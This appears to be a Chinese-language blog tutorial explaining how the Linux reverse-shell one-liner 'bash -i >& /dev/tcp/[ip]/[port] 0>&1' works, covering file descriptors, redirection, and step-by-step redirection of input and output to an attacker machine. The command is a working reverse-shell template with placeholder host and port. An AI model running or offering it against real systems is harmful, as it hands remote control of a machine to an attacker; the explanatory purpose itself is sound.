Linux反弹shell

参考资料:Linux下几种反弹Shell方法的总结与理解

前置知识

文件操作符

可以理解为linux为文件这个“人”分配的身份证号
通过该身份证号(即文件操作符),可实现文件的读写操作
  • Linux启动时默认打开的文件操作符(所有的shellm命令都会默认打开下述三个文件描述符)
标准输入 standard input     0 (默认设备键盘)
标准输出 standard output    1 (默认设备显示器)
错误输出 error output       2 (默认设备显示器)

所有执行I/O操作的系统调用都会通过文件描述符,即文件描述符可控制输入输出

重定向

应用场景

需要让输出不显示在显示器上,而是输出到文件或者其他设备的情况下
(显示器实质也是文件,重定向实质是重定向文件操作符)

分类

输入重定向 `<` `<<`
输出重定向 `>` `>>`

&的作用

[命令] >& [文件名]
将标准输出(1)和标准错误(2)的输出重定向到文件中

[文件描述符a] >& [文件描述符b]
将文件描述符a重定向至文件描述符b

举个例子

命令分解

命令

bash -i >& /dev/[tcp|udp]/[ip]/[port] 0>&1

各部分解释

bash -i

在本地打开一个bash

/dev/[tcp|udp]/[ip]/[port]

建立tcp或者udp连接

bash -i >& /dev/[tcp|udp]/[ip]/[port]

将新建的bash中的标准输出(1)和标准错误(2)的输出重定向到/dev/[tcp|udp]/[ip]/[port]这个文件中,即传递到攻击机中

举例说明

  • 可以理解目标机选择性的将0,1,2重定向到攻击机中。

将标准输入重定向到攻击机

攻击前目标机中无1这个文件

监听并连接

在攻击机中输入touch 1,中断连接,结果如下

将标准输出重定向到攻击机

建立连接

因为将标准输出重定向到了攻击机,所以在目标机中,命令的回显会显示在攻击机中,而攻击机中输入命令是无效的

将0,1,2都重定向到攻击机

这也就实现了反弹shell的功能

连接

可以看到由于0,1,2都被重定向,所以输入、输出、报错都显示在了攻击机这边


如果我的文章能帮到您的话我会很开心.如需转载记得注明出处:)
目录